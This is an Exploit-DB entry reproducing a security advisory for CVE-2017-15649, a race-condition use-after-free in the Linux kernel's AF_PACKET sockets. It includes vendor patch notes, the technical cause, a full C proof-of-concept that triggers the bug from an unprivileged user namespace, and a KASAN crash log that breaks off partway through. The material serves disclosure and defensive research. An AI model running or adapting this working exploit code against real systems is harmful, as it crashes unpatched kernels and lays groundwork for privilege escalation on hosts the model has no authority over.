Exploit-DB #44053
Description: Linux Kernel - 'AF_PACKET' Use-After-Free (2)
Type: dos
Platform: linux
Date: 2017-10-17
Author: SecuriTeam

Exploit:
## Vulnerabilities summary
The following advisory describes a use-after-free vulnerability found in Linux Kernel’s implementation of AF_PACKET that can lead to privilege escalation.

AF_PACKET sockets “allow users to send or receive packets on the device driver level. This for example lets them to implement their own protocol on top of the physical layer or to sniff packets including Ethernet and higher levels protocol headers”

## Credit
The vulnerability was discovered by an independent security researcher which reported this vulnerabilities to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
Update 1
CVE: CVE-2017-15649

“It is quite likely that this is already fixed by:
packet: hold bind lock when rebinding to fanout hook – http://patchwork.ozlabs.org/patch/813945/

Also relevant, but not yet merged is
packet: in packet_do_bind, test fanout with bind_lock held – http://patchwork.ozlabs.org/patch/818726/

We verified that this does not trigger on v4.14-rc2, but does trigger when reverting that first mentioned commit (008ba2a13f2d).”

## Vulnerabilities details

This use-after-free is due to a race condition between fanout_add (from setsockopt) and bind on a AF_PACKET socket.

The race will cause __unregister_prot_hook() from packet_do_bind() to set po->running to 0 even though a packet_fanout has been created from fanout_add().

This allows us to bypass the check in unregister_prot_hook() from packet_release() effectively causing the packet_fanout to be released and still being referenced from the packet_type linked list.

## Crash Proof of Concept

``
// Please note, to have KASAN report the UAF, you need to enable it when compiling the kernel.
// the kernel config is provided too.

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <pthread.h>
#include <sys/utsname.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <sys/stat.h>
#include <fcntl.h>

#define IS_ERR(c, s) { if (c) perror(s); }

struct sockaddr_ll {
    unsigned short  sll_family;
    short       sll_protocol; // big endian
    int     sll_ifindex;
    unsigned short  sll_hatype;
    unsigned char   sll_pkttype;
    unsigned char   sll_halen;
    unsigned char   sll_addr[8];
};

static int fd;
static struct ifreq ifr;
static struct sockaddr_ll addr;

void *task1(void *unused)
{   
    int fanout_val = 0x3;

    // need race: check on po->running
    // also must be 1st or link wont register
    int err = setsockopt(fd, 0x107, 18, &fanout_val, sizeof(fanout_val));
    // IS_ERR(err == -1, "setsockopt"); 
}

void *task2(void *unused)
{
    int err = bind(fd, (struct sockaddr *)&addr, sizeof(addr));
    // IS_ERR(err == -1, "bind");
}

void loop_race()
{
    int err, index;

    while(1) {
        fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
        IS_ERR(fd == -1, "socket");

        strcpy((char *)&ifr.ifr_name, "lo");
        err = ioctl(fd, SIOCGIFINDEX, &ifr);
        IS_ERR(err == -1, "ioctl SIOCGIFINDEX");
        index = ifr.ifr_ifindex;

        err = ioctl(fd, SIOCGIFFLAGS, &ifr);
        IS_ERR(err == -1, "ioctl SIOCGIFFLAGS");

        ifr.ifr_flags &= ~(short)IFF_UP;
        err = ioctl(fd, SIOCSIFFLAGS, &ifr);
        IS_ERR(err == -1, "ioctl SIOCSIFFLAGS");

        addr.sll_family = AF_PACKET;
        addr.sll_protocol = 0x0; // need something different to rehook && 0 to skip register_prot_hook
        addr.sll_ifindex = index;

        pthread_t thread1, thread2;
        pthread_create (&thread1, NULL, task1, NULL);
        pthread_create (&thread2, NULL, task2, NULL);

        pthread_join(thread1, NULL);
        pthread_join(thread2, NULL);

        // UAF
        close(fd); 
    }
}

static bool write_file(const char* file, const char* what, ...) {
    char buf[1024];
    va_list args;
    va_start(args, what);
    vsnprintf(buf, sizeof(buf), what, args);
    va_end(args);
    buf[sizeof(buf) - 1] = 0;
    int len = strlen(buf);

    int fd = open(file, O_WRONLY | O_CLOEXEC);
    if (fd == -1)
        return false;
    if (write(fd, buf, len) != len) {
        close(fd);
        return false;
    }
    close(fd);
    return true;
}

void setup_sandbox() {
    int real_uid = getuid();
    int real_gid = getgid();

    if (unshare(CLONE_NEWUSER) != 0) {
        printf("[!] unprivileged user namespaces are not available\n");
        perror("[-] unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }
    if (unshare(CLONE_NEWNET) != 0) {
        perror("[-] unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }

    if (!write_file("/proc/self/setgroups", "deny")) {
        perror("[-] write_file(/proc/self/set_groups)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
        perror("[-] write_file(/proc/self/uid_map)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
        perror("[-] write_file(/proc/self/gid_map)");
        exit(EXIT_FAILURE);
    }
}

int main(int argc, char *argv[]) 
{
    setup_sandbox();
    system("id; capsh --print");
    loop_race();    
    return 0;
}
``

## Crash report

```
[   73.703931] dev_remove_pack: ffff880067cee280 not found
[   73.717350] ==================================================================
[   73.726151] BUG: KASAN: use-after-free in dev_add_pack+0x1b1/0x1f0
[   73.729371] Write of size 8 at addr ffff880067d28870 by task poc/1175
[   73.732594] 
[   73.733605] CPU: 3 PID: 1175 Comm: poc Not tainted 4.14.0-rc1+ #29
[   73.737714] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.1-1ubuntu1 04/01/2014
[   73.746433] Call Trace:
[   73.747985]  dump_